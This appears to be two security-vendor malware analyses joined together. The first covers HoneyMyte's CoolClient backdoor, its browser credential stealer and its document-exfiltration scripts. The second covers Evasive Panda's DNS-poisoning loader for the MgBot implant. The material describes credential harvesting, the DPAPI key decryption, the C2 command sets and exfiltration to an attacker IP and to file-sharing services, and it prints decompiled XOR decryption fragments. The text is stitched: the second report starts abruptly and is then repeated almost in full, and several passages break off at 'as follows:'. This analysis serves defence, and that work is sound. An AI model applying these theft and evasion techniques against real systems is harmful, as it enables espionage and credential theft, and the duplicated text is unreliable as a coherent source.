The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.
Overview of CoolClient execution flow
However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.
CoolClient functionalities
In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.
In this latest variant, CoolClient relies on several important files to function properly:
Filename
Description
Sang.exe
Legitimate Sangfor application abused for DLL sideloading.
libngs.dll
Malicious DLL used to decrypt loader.dat and execute shellcode.
loader.dat
Encrypted file containing shellcode and a second-stage DLL. Parameter checker and process injection activity reside here.
time.dat
Encrypted configuration file.
main.dat
Encrypted file containing shellcode and a third-stage DLL. The core functionality resides here.
Parameter modes in second-stage DLL
CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.
Parameter
Actions
No parameter
· CoolClient will launch a new process of itself with the install parameter. For example: Sang.exe install.
install
CoolClient decrypts time.dat.
Adds new key to the Run registry for persistence mechanism.
Creates a process named write.exe.
Decrypts and injects loader.dat into a newly created write.exe process.
Checks for service control manager (SCM) access.
Checks for multiple AV processes such as 360sd.exe, zhudongfangyu.exe and 360desktopservice64.exe.
Installs a service named media_updaten and starts it.
If the current user is in the Administrator group, creates a new process of itself with the passuac parameter to bypass UAC.
work
Creates a process named write.exe.
Decrypts and injects loader.dat into a newly spawned write.exe process.
passuac
Bypasses UAC and performs privilege elevation.
Checks if the machine runs Windows 10 or a later version.
Impersonates svchost.exe process by spoofing PEB information.
Creates a scheduled task named ComboxResetTask for persistence. The task executes the malware with the work parameter.
Elevates privileges to admin by duplicating an access token from an existing elevated process.
Final stage DLL
The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.
Clipboard and active windows monitor
A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.
CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.
The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.
HTTP proxy credential sniffer
Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.
The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.
Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers
C2 command handler
The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.
Magic value
Command category
CC BB AA FF
Beaconing, status update, configuration.
CD BB AA FF
Operational commands such as tunnelling, keylogging and file operations.
No magic value
Receive and execute plugin module in memory.
0xFFAABBCC – Beacon and configuration commands
Below is the command menu to manage client status and beaconing:
Command ID
Action
0x0
Send beacon connection
0x1
Update beacon timestamp
0x2
Enumerate active user sessions
0x3
Handle incoming C2 command
0xFFAABBCD – Operational commands
This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:
Command ID
Action
0x0
Set up reverse tunnel connection
0x1
Send data through tunnel
0x2
Close tunnel connection
0x3
Set up reverse proxy
0x4
Shut down a specific socket
0x6
List files in a directory
0x7
Delete file
0x8
Set up keylogger
0x9
Terminate keylogger thread
0xA
Get clipboard data
0xB
Install clipboard and active windows monitor
0xC
Turn off clipboard and active windows monitor
0xD
Read and send file
0xE
Delete file
CoolClient plugins
CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.
Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).
ServiceMgrS.dll – Service management plugin
This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.
Command ID
Action
0x0
Enumerate services
0x1 / 0x4
Start or resume service
0x2
Stop service
0x3
Pause service
0x5
Create service
0x6
Delete service
0x7
Set service to start automatically at boot
0x8
Set service to be launched manually
0x9
Set service to disabled
FileMgrS.dll – File management plugin
A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.
Command ID
Action
0x0
List drives and network resources
0x1
List files in folder
0x2
Delete file or folder
0x3
Create new folder
0x4
Move file
0x5
Read file
0x6
Write data to file
0x7
Compress file or folder into ZIP archive
0x8
Execute file
0x9
Download and execute file using certutil
0xA
Search for file
0xB
Send search result
0xC
Map network drive
0xD
Set chunk size for file transfers
0xF
Bulk copy or move
0x10
Get file metadata
0x11
Set file metadata
RemoteShellS.dll – Remote shell plugin
Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.
CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2
Browser login data stealer
While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.
During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.
The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.
The following table shows the variants of this browser credential stealer employed by HoneyMyte.
Variant
Targeted browser(s)
Execution method
MD5 hash
A
Chrome
Direct execution (PE32)
1A5A9C013CE1B65ABC75D809A25D36A7
B
Edge
Direct execution (PE32)
E1B7EF0F3AC0A0A64F86E220F362B149
C
Chromium-based browsers
DLL side-loading
DA6F89F15094FD3F74BA186954BE6B05
These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.
Initial infection
As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.
A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.
Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.
Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:
In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.
When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.
Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration
To retrieve saved credentials, the malware executes the following SQL query on the copied database:
SELECT origin_url, username_value, password_value FROM logins
This query returns the login URL, stored username, and encrypted password for each saved entry.
Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.
With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.
Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.
Login data stealer’s attribution
Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.
Code similarity between HoneyMyte’s saved login data stealer and LuminousMoth’s cookie stealer
Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.
Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.
Document theft and system information reconnaissance scripts
In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.
1.bat – System enumeration and data exfiltration batch script
The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.
Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression
It then collects network details and downloads and runs the nbtscan tool for internal network scanning.
Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration
During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.
Batch script that collects registry, startup items, directories, and antivirus information for system profiling
Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.
Finally, it deletes any remaining artifacts to cover its tracks.
Ttraazcs32.ps1 – PowerShell-based collection and exfiltration
The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.
Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.
All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.
In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.
t.ps1 – Saved login data collection and exfiltration
The third script attributed to HoneyMyte is a PowerShell file named t.ps1.
The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.
The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.
PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file
Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.
Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API
This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.
Conclusion
Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.
With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.
Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.
The Evasive Panda APT group (also known as Bronze Highland, Daggerfly, and StormBamboo) has been active since 2012, targeting multiple industries with sophisticated, evolving tactics. Our latest research (June 2025) reveals that the attackers conducted highly-targeted campaigns, which started in November 2022 and ran until November 2024.
The group mainly performed adversary-in-the-middle (AitM) attacks on specific victims. These included techniques such as dropping loaders into specific locations and storing encrypted parts of the malware on attacker-controlled servers, which were resolved as a response to specific website DNS requests. Notably, the attackers have developed a new loader that evades detection when infecting its targets, and even employed hybrid encryption practices to complicate analysis and make implants unique to each victim.
Furthermore, the group has developed an injector that allows them to execute their MgBot implant in memory by injecting it into legitimate processes. It resides in the memory space of a decade-old signed executable by using DLL sideloading and enables them to maintain a stealthy presence in compromised systems for extended periods.
The threat actor commonly uses lures that are disguised as new updates to known third-party applications or popular system applications trusted by hundreds of users over the years.
In this campaign, the attackers used an executable disguised as an update package for SohuVA, which is a streaming app developed by Sohu Inc., a Chinese internet company. The malicious package, named sohuva_update_10.2.29.1-lup-s-tp.exe, clearly impersonates a real SohuVA update to deliver malware from the following resource, as indicated by our telemetry:
There is a possibility that the attackers used a DNS poisoning attack to alter the DNS response of p2p.hd.sohu.com[.]cn to an attacker-controlled server’s IP address, while the genuine update module of the SohuVA application tries to update its binaries located in appdata\roaming\shapp\7.0.18.0\package. Although we were unable to verify this at the time of analysis, we can make an educated guess, given that it is still unknown what triggered the update mechanism.
Furthermore, our analysis of the infection process has identified several additional campaigns pursued by the same group. For example, they utilized a fake updater for the iQIYI Video application, a popular platform for streaming Asian media content similar to SohuVA. This fake updater was dropped into the application’s installation folder and executed by the legitimate service qiyiservice.exe. Upon execution, the fake updater initiated malicious activity on the victim’s system, and we have identified that the same method is used for IObit Smart Defrag and Tencent QQ applications.
The initial loader was developed in C++ using the Windows Template Library (WTL). Its code bears a strong resemblance to Wizard97Test, a WTL sample application hosted on Microsoft’s GitHub. The attackers appear to have embedded malicious code within this project to effectively conceal their malicious intentions.
The loader first decrypts the encrypted configuration buffer by employing an XOR-based decryption algorithm:
for ( index = 0; index < v6; index = (index + 1) )
{
if ( index >= 5156 )
break;
mw_configindex ^= (&mw_deflated_config + (index & 3));
}
After decryption, it decompresses the LZMA-compressed buffer into the allocated buffer, and all of the configuration is exposed, including several components:
The malware also checks the name of the logged-in user in the system and performs actions accordingly. If the username is SYSTEM, the malware copies itself with a different name by appending the ext.exe suffix inside the current working directory. Then it uses the ShellExecuteW API to execute the newly created version. Notably, all relevant strings in the malware, such as SYSTEM and ext.exe, are encrypted, and the loader decrypts them with a specific XOR algorithm.
Decryption routine of encrypted strings
If the username is not SYSTEM, the malware first copies explorer.exe into %TEMP%, naming the instance as tmpX.tmp (where X is an incremented decimal number), and then deletes the original file. The purpose of this activity is unclear, but it consumes high system resources. Next, the loader decrypts the kernel32.dll and VirtualProtect strings to retrieve their base addresses by calling the GetProcAddress API. Afterwards, it uses a single-byte XOR key to decrypt the shellcode, which is 9556 bytes long, and stores it at the same address in the .data section. Since the .data section does not have execute permission, the malware uses the VirtualProtect API to set the permission for the section. This allows for the decrypted shellcode to be executed without alerting security products by allocating new memory blocks. Before executing the shellcode, the malware prepares a 16-byte-long parameter structure that contains several items, with the most important one being the address of the encrypted MgBot configuration buffer.
Multi-stage shellcode execution
As mentioned above, the loader follows a unique delivery scheme, which includes at least two stages of payload. The shellcode employs a hashing algorithm known as PJW to resolve Windows APIs at runtime in a stealthy manner.
The shellcode first searches for a specific DAT file in the malware’s primary installation directory. If it is found, the shellcode decrypts it using the CryptUnprotectData API, a Windows API that decrypts protected data into allocated heap memory, and ensures that the data can only be decrypted on the particular machine by design. After decryption, the shellcode deletes the file to avoid leaving any traces of the valuable part of the attack chain.
If, however, the DAT file is not present, the shellcode initiates the next-stage shellcode installation process. It involves retrieving encrypted data from a web source that is actually an attacker-controlled server, by employing a DNS poisoning attack. Our telemetry shows that the attackers successfully obtained the encrypted second-stage shellcode, disguised as a PNG file, from the legitimate website dictionary[.]com. However, upon further investigation, it was discovered that the IP address associated with dictionary[.]com had been manipulated through a DNS poisoning technique. As a result, victims’ systems were resolving the website to different attacker-controlled IP addresses depending on the victims’ geographical location and internet service provider.
To retrieve the second-stage shellcode, the first-stage shellcode uses the RtlGetVersion API to obtain the current Windows version number and then appends a predefined string to the HTTP header:
sec-ch-ua-platform: windows %d.%d.%d.%d.%d.%d
This implies that the attackers needed to be able to examine request headers and respond accordingly. We suspect that the attackers’ collection of the Windows version number and its inclusion in the request headers served a specific purpose, likely allowing them to target specific operating system versions and even tailor their payload to different operating systems. Given that the Evasive Panda threat actor has been known to use distinct implants for Windows (MgBot) and macOS (Macma) in previous campaigns, it is likely that the malware uses the retrieved OS version string to determine which implant to deploy. This enables the threat actor to adapt their attack to the victim’s specific operating system by assessing results on the server side.
Downloading a payload from the web resource
From this point on, the first-stage shellcode proceeds to decrypt the retrieved payload with a XOR decryption algorithm:
key = *(mw_decryptedDataFromDatFile + 92);
index = 0;
if ( sz_shellcode )
{
mw_decryptedDataFromDatFile_1 = Heap;
do
{
*(index + mw_decryptedDataFromDatFile_1) ^= *(&key + (index & 3));
++index;
}
while ( index < sz_shellcode );
}
The shellcode uses a 4-byte XOR key, consistent with the one used in previous stages, to decrypt the new shellcode stored in the DAT file. It then creates a structure for the decrypted second-stage shellcode, similar to the first stage, including a partially decrypted configuration buffer and other relevant details.
Next, the shellcode resolves the VirtualProtect API to change the protection flag of the new shellcode buffer, allowing it to be executed with PAGE_EXECUTE_READWRITE permissions. The second-stage shellcode is then executed, with the structure passed as an argument. After the shellcode has finished running, its return value is checked to see if it matches 0x9980. Depending on the outcome, the shellcode will either terminate its own process or return control to the caller.
Although we were unable to retrieve the second-stage payload from the attackers’ web server during our analysis, we were able to capture and examine the next stage of the malware, which was to be executed afterwards. Our analysis suggests that the attackers may have used the CryptProtectData API during the execution of the second shellcode to encrypt the entire shellcode and store it as a DAT file in the malware’s main installation directory. This implies that the malware writes an encrypted DAT file to disk using the CryptProtectData API, which can then be decrypted and executed by the first-stage shellcode. Furthermore, it appears that the attacker attempted to generate a unique encrypted second shellcode file for each victim, which we believe is another technique used to evade detection and defense mechanisms in the attack chain.
Secondary loader
We identified a secondary loader, named libpython2.4.dll, which was disguised as a legitimate Windows library and used by the Evasive Panda group to achieve a stealthier loading mechanism. Notably, this malicious DLL loader relies on a legitimate, signed executable named evteng.exe (MD5: 1c36452c2dad8da95d460bee3bea365e), which is an older version of python.exe. This executable is a Python wrapper that normally imports the libpython2.4.dll library and calls the Py_Main function.
The secondary loader retrieves the full path of the current module (libpython2.4.dll) and writes it to a file named status.dat, located in C:\ProgramData\Microsoft\eHome, but only if a file with the same name does not already exist in that directory. We believe with a low-to-medium level of confidence that this action is intended to allow the attacker to potentially update the secondary loader in the future. This suggests that the attacker may be planning for future modifications or upgrades to the malware.
The malware proceeds to decrypt the next stage by reading the entire contents of C:\ProgramData\Microsoft\eHome\perf.dat. This file contains the previously downloaded and XOR-decrypted data from the attacker-controlled server, which was obtained through the DNS poisoning technique as described above. Notably, the implant downloads the payload several times and moves it between folders by renaming it. It appears that the attacker used a complex process to obtain this stage from a resource, where it was initially XOR-encrypted. The attacker then decrypted this stage with XOR and subsequently encrypted and saved it to perf.dat using a custom hybrid of Microsoft’s Data Protection Application Programming Interface (DPAPI) and the RC5 algorithm.
General overview of storing payload on disk by using hybrid encryption
This custom encryption algorithm works as follows. The RC5 encryption key is itself encrypted using Microsoft’s DPAPI and stored in the first 16 bytes of perf.dat. The RC5-encrypted payload is then appended to the file, following the encrypted key. To decrypt the payload, the process is reversed: the encrypted RC5 key is first decrypted with DPAPI, and then used to decrypt the remaining contents of perf.dat, which contains the next-stage payload.
The attacker uses this approach to ensure that a crucial part of the attack chain is secured, and the encrypted data can only be decrypted on the specific system where the encryption was initially performed. This is because the DPAPI functions used to secure the RC5 key tie the decryption process to the individual system, making it difficult for the encrypted data to be accessed or decrypted elsewhere. This makes it more challenging for defenders to intercept and analyze the malicious payload.
After completing the decryption process, the secondary loader initiates the runtime injection method, which likely involves the use of a custom runtime DLL injector for the decrypted data. The injector first calls the DLL entry point and then searches for a specific export function named preload. Although we were unable to determine which encrypted module was decrypted and executed in memory due to a lack of available data on the attacker-controlled server, our telemetry reveals that an MgBot variant is injected into the legitimate svchost.exe process after the secondary loader is executed. Fortunately, this allowed us to analyze these implants further and gain additional insights into the attack, as well as reveal that the encrypted initial configuration was passed through the infection chain, ultimately leading to the execution of MgBot. The configuration file was decrypted with a single-byte XOR key, 0x58, and this would lead to the full exposure of the configuration.
Our analysis suggests that the configuration includes a campaign name, hardcoded C2 server IP addresses, and unknown bytes that may serve as encryption or decryption keys, although our confidence in this assessment is limited. Interestingly, some of the C2 server addresses have been in use for multiple years, indicating a potential long-term operation.
Decryption of the configuration in the injected MgBot implant
Victims
Our telemetry has detected victims in Türkiye, China, and India, with some systems remaining compromised for over a year. The attackers have shown remarkable persistence, sustaining the campaign for two years (from November 2022 to November 2024) according to our telemetry, which indicates a substantial investment of resources and dedication to the operation.
Attribution
The techniques, tactics, and procedures (TTPs) employed in this compromise indicate with high confidence that the Evasive Panda threat actor is responsible for the attack. Despite the development of a new loader, which has been added to their arsenal, the decade-old MgBot implant was still identified in the final stage of the attack with new elements in its configuration. Consistent with previous research conducted by several vendors in the industry, the Evasive Panda threat actor is known to commonly utilize various techniques, such as supply-chain compromise, Adversary-in-the-Middle attacks, and watering-hole attacks, which enable them to distribute their payloads without raising suspicion.
Conclusion
The Evasive Panda threat actor has once again showcased its advanced capabilities, evading security measures with new techniques and tools while maintaining long-term persistence in targeted systems. Our investigation suggests that the attackers are continually improving their tactics, and it is likely that other ongoing campaigns exist. The introduction of new loaders may precede further updates to their arsenal.
As for the AitM attack, we do not have any reliable sources on how the threat actor delivers the initial loader, and the process of poisoning DNS responses for legitimate websites, such as dictionary[.]com, is still unknown. However, we are considering two possible scenarios based on prior research and the characteristics of the threat actor: either the ISPs used by the victims were selectively targeted, and some kind of network implant was installed on edge devices, or one of the network devices of the victims — most likely a router or firewall appliance — was targeted for this purpose. However, it is difficult to make a precise statement, as this campaign requires further attention in terms of forensic investigation, both on the ISPs and the victims.
The configuration file’s numerous C2 server IP addresses indicate a deliberate effort to maintain control over infected systems running the MgBot implant. By using multiple C2 servers, the attacker aims to ensure prolonged persistence and prevents loss of control over compromised systems, suggesting a strategic approach to sustaining their operations.
The Evasive Panda APT group (also known as Bronze Highland, Daggerfly, and StormBamboo) has been active since 2012, targeting multiple industries with sophisticated, evolving tactics. Our latest research (June 2025) reveals that the attackers conducted highly-targeted campaigns, which started in November 2022 and ran until November 2024.
The group mainly performed adversary-in-the-middle (AitM) attacks on specific victims. These included techniques such as dropping loaders into specific locations and storing encrypted parts of the malware on attacker-controlled servers, which were resolved as a response to specific website DNS requests. Notably, the attackers have developed a new loader that evades detection when infecting its targets, and even employed hybrid encryption practices to complicate analysis and make implants unique to each victim.
Furthermore, the group has developed an injector that allows them to execute their MgBot implant in memory by injecting it into legitimate processes. It resides in the memory space of a decade-old signed executable by using DLL sideloading and enables them to maintain a stealthy presence in compromised systems for extended periods.
The threat actor commonly uses lures that are disguised as new updates to known third-party applications or popular system applications trusted by hundreds of users over the years.
In this campaign, the attackers used an executable disguised as an update package for SohuVA, which is a streaming app developed by Sohu Inc., a Chinese internet company. The malicious package, named sohuva_update_10.2.29.1-lup-s-tp.exe, clearly impersonates a real SohuVA update to deliver malware from the following resource, as indicated by our telemetry:
There is a possibility that the attackers used a DNS poisoning attack to alter the DNS response of p2p.hd.sohu.com[.]cn to an attacker-controlled server’s IP address, while the genuine update module of the SohuVA application tries to update its binaries located in appdata\roaming\shapp\7.0.18.0\package. Although we were unable to verify this at the time of analysis, we can make an educated guess, given that it is still unknown what triggered the update mechanism.
Furthermore, our analysis of the infection process has identified several additional campaigns pursued by the same group. For example, they utilized a fake updater for the iQIYI Video application, a popular platform for streaming Asian media content similar to SohuVA. This fake updater was dropped into the application’s installation folder and executed by the legitimate service qiyiservice.exe. Upon execution, the fake updater initiated malicious activity on the victim’s system, and we have identified that the same method is used for IObit Smart Defrag and Tencent QQ applications.
The initial loader was developed in C++ using the Windows Template Library (WTL). Its code bears a strong resemblance to Wizard97Test, a WTL sample application hosted on Microsoft’s GitHub. The attackers appear to have embedded malicious code within this project to effectively conceal their malicious intentions.
The loader first decrypts the encrypted configuration buffer by employing an XOR-based decryption algorithm:
for ( index = 0; index < v6; index = (index + 1) )
{
if ( index >= 5156 )
break;
mw_configindex ^= (&mw_deflated_config + (index & 3));
}
After decryption, it decompresses the LZMA-compressed buffer into the allocated buffer, and all of the configuration is exposed, including several components:
The malware also checks the name of the logged-in user in the system and performs actions accordingly. If the username is SYSTEM, the malware copies itself with a different name by appending the ext.exe suffix inside the current working directory. Then it uses the ShellExecuteW API to execute the newly created version. Notably, all relevant strings in the malware, such as SYSTEM and ext.exe, are encrypted, and the loader decrypts them with a specific XOR algorithm.
Decryption routine of encrypted strings
If the username is not SYSTEM, the malware first copies explorer.exe into %TEMP%, naming the instance as tmpX.tmp (where X is an incremented decimal number), and then deletes the original file. The purpose of this activity is unclear, but it consumes high system resources. Next, the loader decrypts the kernel32.dll and VirtualProtect strings to retrieve their base addresses by calling the GetProcAddress API. Afterwards, it uses a single-byte XOR key to decrypt the shellcode, which is 9556 bytes long, and stores it at the same address in the .data section. Since the .data section does not have execute permission, the malware uses the VirtualProtect API to set the permission for the section. This allows for the decrypted shellcode to be executed without alerting security products by allocating new memory blocks. Before executing the shellcode, the malware prepares a 16-byte-long parameter structure that contains several items, with the most important one being the address of the encrypted MgBot configuration buffer.
Multi-stage shellcode execution
As mentioned above, the loader follows a unique delivery scheme, which includes at least two stages of payload. The shellcode employs a hashing algorithm known as PJW to resolve Windows APIs at runtime in a stealthy manner.
The shellcode first searches for a specific DAT file in the malware’s primary installation directory. If it is found, the shellcode decrypts it using the CryptUnprotectData API, a Windows API that decrypts protected data into allocated heap memory, and ensures that the data can only be decrypted on the particular machine by design. After decryption, the shellcode deletes the file to avoid leaving any traces of the valuable part of the attack chain.
If, however, the DAT file is not present, the shellcode initiates the next-stage shellcode installation process. It involves retrieving encrypted data from a web source that is actually an attacker-controlled server, by employing a DNS poisoning attack. Our telemetry shows that the attackers successfully obtained the encrypted second-stage shellcode, disguised as a PNG file, from the legitimate website dictionary[.]com. However, upon further investigation, it was discovered that the IP address associated with dictionary[.]com had been manipulated through a DNS poisoning technique. As a result, victims’ systems were resolving the website to different attacker-controlled IP addresses depending on the victims’ geographical location and internet service provider.
To retrieve the second-stage shellcode, the first-stage shellcode uses the RtlGetVersion API to obtain the current Windows version number and then appends a predefined string to the HTTP header:
sec-ch-ua-platform: windows %d.%d.%d.%d.%d.%d
This implies that the attackers needed to be able to examine request headers and respond accordingly. We suspect that the attackers’ collection of the Windows version number and its inclusion in the request headers served a specific purpose, likely allowing them to target specific operating system versions and even tailor their payload to different operating systems. Given that the Evasive Panda threat actor has been known to use distinct implants for Windows (MgBot) and macOS (Macma) in previous campaigns, it is likely that the malware uses the retrieved OS version string to determine which implant to deploy. This enables the threat actor to adapt their attack to the victim’s specific operating system by assessing results on the server side.
Downloading a payload from the web resource
From this point on, the first-stage shellcode proceeds to decrypt the retrieved payload with a XOR decryption algorithm:
key = *(mw_decryptedDataFromDatFile + 92);
index = 0;
if ( sz_shellcode )
{
mw_decryptedDataFromDatFile_1 = Heap;
do
{
*(index + mw_decryptedDataFromDatFile_1) ^= *(&key + (index & 3));
++index;
}
while ( index < sz_shellcode );
}
The shellcode uses a 4-byte XOR key, consistent with the one used in previous stages, to decrypt the new shellcode stored in the DAT file. It then creates a structure for the decrypted second-stage shellcode, similar to the first stage, including a partially decrypted configuration buffer and other relevant details.
Next, the shellcode resolves the VirtualProtect API to change the protection flag of the new shellcode buffer, allowing it to be executed with PAGE_EXECUTE_READWRITE permissions. The second-stage shellcode is then executed, with the structure passed as an argument. After the shellcode has finished running, its return value is checked to see if it matches 0x9980. Depending on the outcome, the shellcode will either terminate its own process or return control to the caller.
